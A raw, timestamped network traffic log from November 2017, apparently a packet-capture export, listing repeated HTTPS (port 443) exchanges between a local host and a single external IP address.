Nov 27, 2017 12:34:44.199894905 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.199923038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.207678080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.207705975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.207715988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.208059072 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.208086967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.210005045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.210032940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.210279942 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.210299015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.216530085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.216938019 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.216964006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.218306065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.218347073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.218723059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.218754053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.224755049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.224781990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.227518082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.227543116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.227554083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.227905035 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.227972984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.235476017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.235502958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.235564947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.236887932 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.236931086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.237859964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.237883091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.238106012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.238131046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.245980024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.246014118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.246138096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.246227026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.246449947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.246457100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.246876001 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.246941090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.247224092 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.253015041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.253046989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.253724098 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.253756046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.258161068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.258182049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.258354902 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.258392096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.260257006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.260286093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.260433912 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.260483980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.269870043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.269897938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.270006895 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.270045042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.270077944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.270106077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.270457029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.270504951 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.270531893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.271716118 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.276237011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.276269913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.276354074 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.276793957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.276823044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.276856899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.276982069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.282216072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.282243967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.282282114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.282572031 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.282589912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.286966085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.286988020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.287166119 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.287203074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.293370962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.293513060 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.293548107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.299180984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.299204111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.299525976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.299560070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.299962044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.299988985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.300384045 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.300409079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.310930967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.310956001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.311301947 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.311326981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.322149992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.322170019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.322655916 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.322685003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.333157063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.333178997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.333189011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.333267927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.333282948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.333375931 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.333399057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.344485998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.344502926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.345042944 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.345077038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.354582071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.354604006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.354612112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.354986906 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.355020046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.363692045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.363714933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.363727093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.363908052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.363934994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.364415884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.364437103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.364784002 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.364809036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.370449066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.370465994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.370584011 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.370613098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.381834030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.381855965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.382016897 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.382055998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.382860899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.382882118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.383795023 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.383826971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.387557983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.387579918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.387773991 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.387806892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.390472889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.390487909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.390593052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.390620947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.398067951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.398091078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.398330927 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.398358107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.402117968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.402134895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.402616024 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.402640104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.404448032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.404463053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.404539108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.404558897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.410348892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.410556078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.410593987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.411905050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.412059069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.412096024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.463140011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.463165998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.463365078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.463386059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.463393927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.463452101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.463499069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.465038061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.465058088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.465255976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.465290070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.466326952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.466346025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.466355085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.466362953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.466370106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.466497898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.466530085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.468931913 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.469589949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.469608068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.469618082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.469733953 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.469762087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.470419884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.470432043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.470577955 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.470612049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.472397089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.472414017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.472543955 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.472575903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.473592043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.473603010 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.473609924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.473619938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.473632097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.473783016 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.480463982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.480483055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.480493069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.480504990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.480518103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.480566025 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.480588913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.480606079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.480623960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.481056929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.481076002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.481091022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.481372118 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.481400967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.481511116 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.498405933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.498435974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.498454094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.498467922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.498481989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.498744965 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.498775959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.505168915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.505197048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.505215883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.505400896 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.505431890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.518881083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.518901110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519083023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519098043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519105911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519118071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519125938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519201040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519212961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519222021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.519495964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.519547939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.539108992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.539129019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.539134979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.539141893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.539148092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.539784908 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.539814949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.545977116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.546000004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.546014071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.546092033 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.546113014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557270050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557295084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557305098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557311058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557317972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557409048 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.557429075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557441950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557454109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557462931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557471037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.557477951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.559684992 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.559701920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.563762903 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.579502106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.579519987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.579526901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.579685926 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.579708099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.603493929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.603513002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.603635073 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.603653908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.645066023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.645087004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.645095110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.645235062 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.645256042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.665899038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.665935993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.666064978 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.666090965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.689311981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.689333916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.689472914 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.689495087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.708527088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.708551884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.708681107 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.708703041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.732706070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.732738018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.732745886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.732897043 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.732918978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.739775896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.739805937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.739914894 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.739934921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.746844053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.746876001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.747092009 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.747132063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.753988028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.754005909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.754122972 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.754147053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.776573896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.776595116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.776628971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.776817083 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.776863098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.790870905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.790896893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.791016102 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.791038036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.810406923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.810426950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.810498953 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.810518026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.828082085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.828216076 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.828247070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.835231066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.835253954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.835593939 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.835633993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.842519999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.842540979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.842633963 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.842668056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.856292009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.856316090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.856437922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:44.856471062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.875401020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:44.875425100 CET	443	49165	89.45.235.21	192.168.1.91
